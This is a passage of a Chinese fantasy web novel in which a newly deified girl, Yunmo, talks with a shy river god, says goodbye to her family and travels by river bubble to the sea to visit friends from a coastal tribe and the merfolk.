作为中立神，冷水河神非常为难，眼睁睁看着大家分崩离析，只能自己孤单地沉默。 “现在的人类渐渐懒怠信仰，已经太久没有新神诞生，”祂看向云漠，眼中充满了真切的欢喜，“请问你的神职是什么呢，我总觉得有些熟悉。” “说起来有点为难，”云漠正苦恼没有合适的对象商量，“我似乎对赐福美味、健康和种植都有些心得，但健康和种植的神职似乎与生命女神、自然女神重合。” “原来如此，”冷水河神马上明白了之前的熟悉感来自何方，“确实如此，不过类似的赐福不少神明都会一点，而且祂们都是非常宽仁和气的神明，应该不会太在意。” 考虑到这些神明之前的复杂纠葛，云漠对此评价持怀疑态度。 “我无意与其他神明争抢信徒，已经在城内外开设医馆，培养优秀的医者和药剂师……而且比起这些，我更倾向于司职美味和庆典。” 正如冷水河神所言，其实只要到达“神”这个层面，救人就是轻而易举的事，只要她选定一项迄今为止都没有的主神职，其余的作为次神职，那么就不会有任何问题。 对她的谨慎，冷水河神笑道：“其实只要不蛊惑人类放弃信仰其他神明，也就谈不上争抢。” 云漠懂了，挺好，神明界不搞毒唯！ 只要所信奉的神明们不是对立阵营，信徒完全可以同时信奉好几位！博爱得理直气壮。 就好比森林精灵，既信仰生命女神，又信仰自然女神，偶尔还会祭祀一下家门口的冷水河神。 祂的话着实让云漠吃了一颗定心丸，也有心情问东问西了。 之前还是纯粹的人类时，两位精灵老师给予云漠莫大的帮助，但到了“成神”这一步就爱莫能助了。 现在终于有“业界神士”现身，云漠立刻丢出了堆积如山的疑问。 大约是生性温柔，又或者这几年来云漠严禁乱扔垃圾、胡乱排泄的环境治理工程比较到位，冷水河神态度很好，不仅有问必答，还会在个别问题主动给出合适的建议。 漫长的信息爆炸后，云漠久违的感到头晕，闭眼消化片刻，决定问点轻松的缓和下节奏。 “您一定到过无尽黑山的深处，也去过东方入海口吧？那些地方都是什么样子的呢？” 冷水河神当然了解无尽黑山深处，那是冷水河源头所在，祂诞生的地方。 “那里有绵延不绝的雪山，盛夏不化；也有数不清的寒潭和暗流，孕育了无数外面罕见的生灵……”祂充满赞叹的语气突然急转直下，“但那里同样连接堕落魔兽的老巢，遍布危机和险恶。” 作为天然屏障之一，祂曾目睹过许多争斗和死亡，实在不太愿意回忆。 祂好像非常怕孤独，迫切地想要同外界交流，所以哪怕不太愿意，也还是努力说了一些，倒把云漠弄得怪不好意思，觉得自己活像个强人所难的恶霸。 至于大海么。 “那里是海神的居所，”祂的脸上再次浮现出熟悉的羞涩，“我是河神，不太方便四处乱看。不过大海真的很美，像群山一样广阔、深邃，慷慨地赠予，又温柔地包容着一切……” 当然，大海也是可怕的，对那些不知深浅的狂妄生灵，大海会瞬间掀起滔天巨浪，将海面上的一切压入海底。 见云漠似乎对大海非常感兴趣，冷水河神也很开心，“我记得你曾接待过几个人鱼族的朋友，如果你想，我们可以去海边看看。” “哎？！”云漠愣了下，“可以吗？我可能无法离开太久。” 她确实一直都很想去看看，看看熟悉又陌生的大海，看看那位一直跟自己书信往来，却始终未曾蒙面的水系魔法师朋友、海鹰等人，看看孕育出神奇人鱼族的地方，只是一直脱不开身。 “当然可以，”冷水河神笑起来，我是冷水河，冷水河就是我呀。” 冷水河发源于无尽黑山深处，东奔入海，那里本来就是祂所熟悉的身体的一部分。 第98章 完结 第98章 完结 新阿索城的建设已经步入正轨，接下来的精细活儿将由玛雅姨妈总体把控，不需要云漠时刻在场了。 她又将所有事情顺了一遍，确定没有遗漏后，说了自己短期外出的打算。 虽然早就知道会有这么一天，但玛雅姨妈和霍莉等人还是无法克制地恐慌。 潜意识中对因为跟不上对方的脚步而可能被抛弃的恐慌。 云漠笑着拥抱了她们，“不要担心，我几天后就会回来的，很快。” 随着信仰之力的攀升，她确实在逐渐丧失感性的部分，但还不至于现在就灭绝人性到那个地步。 玛雅姨妈肉眼可见地松了口气，旋即又有点儿赧然，“好孩子，你已经做了很多，不必这样在意我们了。” 眼前的姑娘已经不仅仅是她的亲人、一地领主，还是拥有无尽生命、无限可能的神明，她不能那样自私，自私地将一位神明禁锢在小小的阿索城，然后目睹身边熟悉的人一个接一个死去。 那太残忍了。 云漠感受到她的情绪，温柔地亲吻她的脸颊，像普通小姑娘那样在她怀中磨蹭撒娇，将自己的头发弄得乱糟糟的，“不，您永远都是我的姨妈。” 玛雅姨妈回抱着她，忽然发现她已经长得很高，比自己要高，是个很强壮的少女模样了。 霍莉在一旁发出响亮的抽噎声，意识到后赶紧掩饰般低下头去，拽起衣袖擦拭通红的眼眶。 原本她还强忍着，可当拥抱到来时，她还是忍不住“哇”的一声哭了出来。 云漠反倒被逗笑了：“还不到这个地步吧？” 活像生离死别似的。 霍莉啜泣几声，絮叨着发散思维，“您已经长大了，很快我也要老了，十年二十年对神明而言不过转眼一瞬，以后您就会慢慢习惯的……” 或许我也该写写日记什么的，等到以后老了，记性不好了，还能拿出来时时翻看，跟孩子们讲讲当年的事。 就这么办吧。 比她年纪更大的玛雅姨妈：“……” 这孩子平时看着粗粗拉拉的，怎么忽然细腻敏感起来，我还没怎么样呢。 遥远的城外，潺潺流动的河水摇曳着漫天星光，与高处新阿索城明亮的灯光相接，分不清天上地下。 冷水河神半趴在河中央的黑色巨石上，身体近乎透明，几乎与河水融为一体。萤火虫毫无阻碍地穿透祂的身体，径直掠过水面，水波像温顺的小羊羔一样环绕着祂，试图解读神明眼中的不解。 祂不太能理解人类的情感，也不明白为何同为神明的云漠对那几个弱小的人类格外眷恋。 人类的生命太短暂了，她们的一生对神明而言也不过弹指一挥间，时光如流水，会冲刷掉岸边留下的一切痕迹，正如人类在神明心中刻下的记忆一样。 总会消失的。 不过很快的，冷水河神就意识到了自己的浅薄： 霍莉勇敢地掏出带人连夜制作的巨大肉包，还有一大堆不知是什么的，绑成更加巨大的包裹并坚持让云漠路上带着…… “之前就听灰鸦说过，外面的世界很有趣，您难得出远门，一定会被吸引，或许会停留很久呢，时间久了，怎么可能不思念家乡的风味呢？ 哦，还有这罐子肉酱，也带着，天气渐渐冷下来了，不会坏掉的…… 啊，那是几件换洗衣物，还有帐篷、被褥什么的。什么，不带？您难道忘记当初第一次见到灰鸦时她的狼狈样儿了吗？多么可怕，没准儿身上还有虱子呢！ 天呐，这几天我和夫人只要一想到您在外面吃不好睡不好，简直就要心痛得昏死过去了！ 这件事您一定要听我的，哪怕在外远行，也不要忘记这一点！” 看着那个比云漠还要巨大的包裹，冷水河神惊恐地睁大了眼睛。 这就是人类特有的感情羁绊吗？ 未免太深刻了些。 哪怕云漠努力争取，最终也只能以“饮食需求日益消退”来剔除掉大部分肉包和肉酱，剩下的衣服被褥，还是没能摆脱掉。 冷水河神远远看着她们的“争斗”，渐渐地，竟品出来一点别样的趣味。 这位新晋的丰收和庆典之神还在成长期，仍需要像人类那样沐浴、休息。 但人类似乎就是这个样子的。 她们完全没想过，又或者故意不去想，不去想获取食物这种小事对云漠-克劳德而言是多么简单的事情。 于是祂用神识悄悄告诉云漠，自己有办法帮她带行李。 壮观的冷水河连整栋建筑和若干大活人都能带走，更何况一个包裹？ 云漠现在尚未完全元素化，没办法像正经神明那样随心所欲地分解自身、瞬移赶路，便接受了冷水河神的好意： 河水中被制造出两个巨大的空气泡，分别将云漠和她的行李包裹在里面，然后随着水流快乐地奔向大海。 空气泡的乘坐感棒极了，一点儿都不颠簸，外壁还会根据云漠的动作变幻形状，方便她活动、观景。 云漠很快就被沿途的美景吸引住了。 冷水河神也很久没跟同伴一起出行了，看起来十足快乐，全程都在人形实元素化之间不断变幻，还会向云漠介绍沿途有趣的事物。 浩瀚森林正是汲取了无尽黑山中流下的雪水才一点点繁衍开来，换言之，冷水河就是浩瀚森林的母亲河。 冷水河神已经记不清自己存在了多久，唯一确定的一点是，祂比这森林更古老，所以对河流沿岸的一切花草树木、神庙、神殿等都了然于胸，讲解起来简单又直白，效果很好。 途中两位神明还偶遇了精灵巡逻队，站在树梢的呼尔雅第一个发现了云漠，先是一愣，然后便立刻呼唤起其他朋友，紧接着，捧着铭文书籍的瑟琳、正在擦拭长弓的紫叶也带着三精成员的其他成员从树丛中钻出来。 “你们好呀，”云漠“噗”一下从空气泡中钻出来，热情地冲大家打招呼，“我要出门旅行啦！” 呼尔雅发出捧场的惊叹。 紫叶三下两下跃过几根纤细的树枝，踩着河中巨石来到她身边，边跑动，边好奇地戳了戳那透明气泡，翡翠似的漂亮眼珠里满是惊奇。 冷水河神再次体现出祂内敛的一面，并未在精灵面前显露身形。 只是几个弯道后，途径精灵铭文大师的树屋附近时，正在屋里对坐饮茶的纳林霜和银星早早便有所感，细长的耳朵抖动几下，放下茶杯便提前来到室外，刚好看到曾经的人类弟子挂着久违的孩童般的笑，兴高采烈冲这边挥手道别，“老师，我先走啦！不给我留点儿作业吗？” 自从云漠凝聚神格的消息公开之后，纳林霜便放松了对她的约束，尤其在丹茂王国政变，戈雅一世继位，以新任国王的身份发布宣言，正式承认新阿索城的独立和云漠的神明地位后，纳林霜就再也没有给她布置过作业。 现在听到这句话，纳林霜和银星都怔了下，继而眼底沁出几分笑意，仿佛回到了几年前初见的那一日。 还好，一切都在向前走。 还好，总有一些东西没有变。 不知走了多久，云漠看到远处岸上一群人类在虔诚地祈祷，便问道：“那是在向谁祭祀？” 凡人是看不见神力作用下的气泡的，所以云漠可以大大方方地观看。 “那是自然女神的信徒，”冷水河神说，“人们在渴求新一年的丰收和富饶。” “哦。”云漠看着那些身形瘦削的人类点点头，同时在心里默默地补充了句，看上去不怎样有效果的样子。 而且她也没能从那片看不出样貌的粗糙壁画上感应到任何神降临过的痕迹。 也就是说，自然女神从未将这些人视为真正的信徒，从未赐福过，当然也从未降临过。 严格说来，其实现在并没有神明专职“丰收”，因为“丰收”的含义太广了，除了农作物收获之外还有很多，比如对应猎人，就是精通狩猎；对应渔夫，就是精通捕捞…… 前者似乎是兽神的职责，后者又似乎应该分派给具体的海神、河神等等。 自然女神虽然是生命女神的下位神，但本身也属高等神，主要掌管自然界，尤其是山川河湖和植物生灵间的协调，广义的那种。农耕什么的，对自然女神而言确实有点儿偏门。 偶尔遇到自然女神心情好了，或许会顺手帮一把，但大部分时候，神明并不会专门对此作出回应。 正因为此，云漠觉得在神职方面大有可为。 她现在对外宣称专职美味和庆典，但实现这两条的前提是什么？ 丰收！ 颗粒无收还庆祝什么？还能拿什么制作美味？ 这些都是密切联系的，完全有充分的理由融合在一起，哪怕创世神来了都没话说。 冷水河神催动下的“随波逐流”威力非凡，大气泡日夜不休的朝着东方奔去，短短几天之内，云漠亲眼目睹了复杂的地形变幻，也数次在夜幕下仰望星空，在日间看雨丝坠落，击打在气泡表面，形成阵阵涟漪…… “介意我见见老朋友吗？”云漠兴致勃勃地上岸。 交了新朋友的冷水河神自然是不介意的，非但不介意，还好心提醒她不要误入别的神明的领地。 海鹰所在的部落信奉海神，云漠早有准备，掏出从未吹响过的洁白海螺放到嘴边，用力吸了口气，再缓缓吐出。 “嗡……” 海螺特有的嗡鸣迅速荡开，与明亮的朝霞和刷刷作响的潮汐合在一起，动听极了。 冷水河神学云漠的样子，抱着膝盖坐在山坡上，第无数次好奇地问：“你们隔着这么远，是怎样交朋友的呢？” 云漠难掩得意，“不要小瞧人类，虽然人类生命短暂，也大多不会什么神技，但却拥有无尽的智慧和创造力，那些智慧会一代代传递下去……” 冷水河神若有所思，认真地说：“我从未轻视过人类，她们虽然肉/体弱小，灵魂却很强大，野心也同样蓬勃，经常会因为一些不可思议的荒谬原因引发灾祸、毁灭自我。” 祂的表情和语气都非常郑重，显然不带任何偏见，虽然后半段不太像什么好话，但即便曾经是人类的云漠也无法否认这点。 冬半年的海边明显比新阿索城冷得多，风也更尖利，不过现在的云漠已经不是普通人类了，这点寒意并不会影响什么。 天气很不错，太阳渐渐升起来，橙红色的阳光慷慨地洒向大地，将已经微微有些泛黄的草地都染成了灿金色。 云漠伸手抚摸温暖的草尖，“真美呀。” 来到这里这么久了，她还是第一次这样惬意。 云漠忍不住向后躺倒，看着天空随之旋转，伸手虚虚捕捉上方缓慢飘过的云彩，然后再看着它们从指缝一点点溜走。 河神犹豫片刻，也学着她的样子躺下。 不知过了多久，远处传来细微的声响，云漠和河神同时翻身坐起，看着几个小黑点从远处飞速逼近。 她的眼底立刻染上了快乐，跳起来朝着那边挥舞胳膊，“海鹰！” 骑着小马的海鹰很快到来，不等停稳就跳下地，跟她热烈地拥抱，“我好想你呀！你怎么过来的呀！” 海鹰身后还跟着几个女人，都是曾经去往集市那边贸易过的熟脸，应该是族长特意安排的，此刻也都下马，规规矩矩地向云漠行礼。 拥抱过后，海鹰才记起来这位好朋友已经晋身为神明，不免有些局促。 但她一直都是个爽朗的姑娘，于是这点儿微不足道的局促马上就被云漠一如往昔的态度挥散了。 “知道你来，我们都很高兴，族长大人也很高兴，不过大家都不确定你来这边是否有重要的事情要做，就先让我来瞧瞧。”被晒得更加黑亮的海鹰叽叽喳喳地说着，“族长大人说，本该请你去家里做客，只是你现在恐怕不太方便前往……” 虽然未曾蒙面，但云漠对这位海螺部落的族长一直都印象奇佳，“多谢多谢，她考虑得周到极了。” 河神已经在海鹰等人出现之前隐去身形，悄然退回冷水河里去了，海鹰并不知道云漠此行还有同伴，热情地拉着朋友的手，诉说着身边的趣事。 “对了，夏天的时候我们这边还来了一位游吟诗人呢，就是当初在新阿索城停留的那位，叫灰鸦，她听说了你的事，想必也要往新阿索城去了。” 夏天来海边，灰鸦正经挺会享受生活，云漠跟着笑起来。 好吧，或许等自己回去，又能听到许多外面的趣事啦。 云漠就在原地住下，跟海螺部落的人接触了好几天，期间还见到了那位充满智慧的族长，并热情地向对方发出邀请，“有空的话，不妨去新阿索城看看，那里跟之前完全不同了，外城区有了专门的贸易区，许多人类国家和部族已经准备长期驻扎，还有精灵族、矮人族、人鱼族的固定贸易点，或许你们可以在那里找到心仪的货物。” 战争早已过去，各族成员不该被过往牵绊，早就该继续往前看啦。 接下来的几天，云漠又和河神去了海边，捡到许多漂亮的贝壳，还意外见到了老朋友：人鱼族的珍珠和红珊瑚。 许久不见，当年那条离家出走的小人鱼看上去成熟许多，还主动送给云漠许多好看的珍珠做礼物，似乎是对年少轻狂的封口费……不过小朋友还是对姐姐的铁拳心有余悸，经常习惯性先看姐姐的脸色。 分别之际，红珊瑚还告诉云漠，“如果您还是对海的那边感兴趣，不妨问一问海神大人吧，祂慷慨又富有智慧，什么都知道。” 不得不说，云漠有瞬间心动。 不过沉默片刻后，她还是笑着摇了摇头，“以后吧。” 当初她渴望了解大海彼岸，说到底还是因为日子太苦了，让她不由自主地回忆起前世，将那些记忆一遍又一遍的反刍。 但现在？ 她得到了崭新的力量，正式在这个世界生根发芽，那些起起伏伏的乡愁，似乎也都跟着沉寂下去，不再鲜活。 也许有一天，未来的某一天，当熟悉的生灵陆续离去，只剩下她自己的时候，那些新的旧的记忆又将裹挟在一起，以更加猛烈的姿态卷土重来，但那都是以后的事情了。 将来到底会怎样，谁说得准呢？ 反正现在，云漠有亲人，有朋友，有崭新而辽阔的，值得探索的世界，她过得非常充实。 对了，石斧还承诺过要送一批新的战士来帮忙训练呢！ 她用力看了眼尽头的海天交界线，波光粼粼，光明又灿烂，笑着转过脸去看身边悄然出现的河神，“朋友，回去吧！我们回家吧！” 真好，一切都刚刚开始。